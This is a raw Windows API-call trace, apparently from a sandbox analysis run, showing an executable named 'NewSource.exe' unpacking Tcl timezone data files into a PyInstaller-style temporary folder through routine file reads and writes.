0x0 [0043.111] SetLastError (dwErrCode=0x0) [0043.111] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Enderbury") returned 74 [0043.111] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Enderbury" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\enderbury"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.111] GetLastError () returned 0x2 [0043.111] SetLastError (dwErrCode=0x2) [0043.111] GetLastError () returned 0x2 [0043.111] SetLastError (dwErrCode=0x2) [0043.111] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Enderbury", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Enderbury", lpFilePart=0x0) returned 0x49 [0043.111] GetLastError () returned 0x2 [0043.111] SetLastError (dwErrCode=0x2) [0043.111] GetLastError () returned 0x2 [0043.111] SetLastError (dwErrCode=0x2) [0043.111] GetLastError () returned 0x2 [0043.111] SetLastError (dwErrCode=0x2) [0043.111] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Enderbury") returned 74 [0043.111] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.112] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Enderbury" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\enderbury"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.114] GetFileType (hFile=0x10c) returned 0x1 [0043.114] htonl (hostlong=0xd3000000) returned 0xd3 [0043.114] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.114] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xd3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xd3, lpOverlapped=0x0) returned 1 [0043.115] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.115] CloseHandle (hObject=0x10c) returned 1 [0043.115] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.115] htonl (hostlong=0x30000000) returned 0x30 [0043.115] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.115] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.115] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.115] GetFileType (hFile=0x10c) returned 0x1 [0043.115] htonl (hostlong=0xa40e5d00) returned 0x5d0ea4 [0043.115] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61bea4, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.115] htonl (hostlong=0x99000000) returned 0x99 [0043.115] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x99) returned 0x55cfe0 [0043.115] htonl (hostlong=0x99000000) returned 0x99 [0043.115] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.115] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.115] htonl (hostlong=0xb2000000) returned 0xb2 [0043.115] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb2) returned 0x550600 [0043.115] htonl (hostlong=0x99000000) returned 0x99 [0043.115] htonl (hostlong=0xb2000000) returned 0xb2 [0043.115] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.115] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.116] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.116] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.116] CloseHandle (hObject=0x10c) returned 1 [0043.116] GetLastError () returned 0x0 [0043.116] SetLastError (dwErrCode=0x0) [0043.116] GetLastError () returned 0x0 [0043.116] SetLastError (dwErrCode=0x0) [0043.116] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.116] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.116] GetFileType (hFile=0x10c) returned 0x1 [0043.116] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.116] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.116] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.116] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.116] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.116] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.116] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.116] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.116] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.116] CloseHandle (hObject=0x10c) returned 1 [0043.116] GetLastError () returned 0x0 [0043.116] SetLastError (dwErrCode=0x0) [0043.116] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.116] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.117] GetFileType (hFile=0x10c) returned 0x1 [0043.117] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.117] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.117] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.117] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.117] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.117] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.117] CloseHandle (hObject=0x10c) returned 1 [0043.117] GetLastError () returned 0x0 [0043.117] SetLastError (dwErrCode=0x0) [0043.117] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.117] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.117] GetFileType (hFile=0x10c) returned 0x1 [0043.117] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.117] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.117] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.117] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.117] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.117] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.118] CloseHandle (hObject=0x10c) returned 1 [0043.118] GetLastError () returned 0x0 [0043.118] SetLastError (dwErrCode=0x0) [0043.118] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Fakaofo") returned 72 [0043.118] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Fakaofo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\fakaofo"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.118] GetLastError () returned 0x2 [0043.118] SetLastError (dwErrCode=0x2) [0043.118] GetLastError () returned 0x2 [0043.118] SetLastError (dwErrCode=0x2) [0043.118] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Fakaofo", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Fakaofo", lpFilePart=0x0) returned 0x47 [0043.118] GetLastError () returned 0x2 [0043.118] SetLastError (dwErrCode=0x2) [0043.118] GetLastError () returned 0x2 [0043.118] SetLastError (dwErrCode=0x2) [0043.118] GetLastError () returned 0x2 [0043.118] SetLastError (dwErrCode=0x2) [0043.118] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Fakaofo") returned 72 [0043.118] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.118] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Fakaofo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\fakaofo"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.119] GetFileType (hFile=0x10c) returned 0x1 [0043.119] htonl (hostlong=0xb2000000) returned 0xb2 [0043.119] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.119] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb2, lpOverlapped=0x0) returned 1 [0043.119] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.119] CloseHandle (hObject=0x10c) returned 1 [0043.120] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.120] htonl (hostlong=0x30000000) returned 0x30 [0043.120] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.120] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.120] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.120] GetFileType (hFile=0x10c) returned 0x1 [0043.120] htonl (hostlong=0x3d0f5d00) returned 0x5d0f3d [0043.120] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61bf3d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.120] htonl (hostlong=0x78040000) returned 0x478 [0043.120] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x478) returned 0x550600 [0043.120] htonl (hostlong=0x78040000) returned 0x478 [0043.120] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.120] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.120] htonl (hostlong=0xde150000) returned 0x15de [0043.120] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x15de) returned 0x561090 [0043.120] htonl (hostlong=0x78040000) returned 0x478 [0043.120] htonl (hostlong=0xde150000) returned 0x15de [0043.120] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562678 [0043.120] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562678 | out: hHeap=0x530000) returned 1 [0043.120] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.120] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.120] CloseHandle (hObject=0x10c) returned 1 [0043.121] GetLastError () returned 0x0 [0043.121] SetLastError (dwErrCode=0x0) [0043.121] GetLastError () returned 0x0 [0043.121] SetLastError (dwErrCode=0x0) [0043.121] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.121] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.121] GetFileType (hFile=0x10c) returned 0x1 [0043.121] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.121] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.121] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.121] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.121] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.121] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.121] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.121] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.121] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.121] CloseHandle (hObject=0x10c) returned 1 [0043.121] GetLastError () returned 0x0 [0043.121] SetLastError (dwErrCode=0x0) [0043.121] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.121] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.121] GetFileType (hFile=0x10c) returned 0x1 [0043.121] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.121] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.121] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.122] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.122] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.122] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.122] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.122] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.122] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.122] CloseHandle (hObject=0x10c) returned 1 [0043.122] GetLastError () returned 0x0 [0043.122] SetLastError (dwErrCode=0x0) [0043.122] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.122] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.122] GetFileType (hFile=0x10c) returned 0x1 [0043.122] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.122] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.122] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.122] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.122] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.122] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.122] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.122] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.123] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.123] CloseHandle (hObject=0x10c) returned 1 [0043.123] GetLastError () returned 0x0 [0043.123] SetLastError (dwErrCode=0x0) [0043.123] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Fiji") returned 69 [0043.123] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Fiji" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\fiji"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.123] GetLastError () returned 0x2 [0043.123] SetLastError (dwErrCode=0x2) [0043.123] GetLastError () returned 0x2 [0043.123] SetLastError (dwErrCode=0x2) [0043.123] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Fiji", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Fiji", lpFilePart=0x0) returned 0x44 [0043.123] GetLastError () returned 0x2 [0043.123] SetLastError (dwErrCode=0x2) [0043.123] 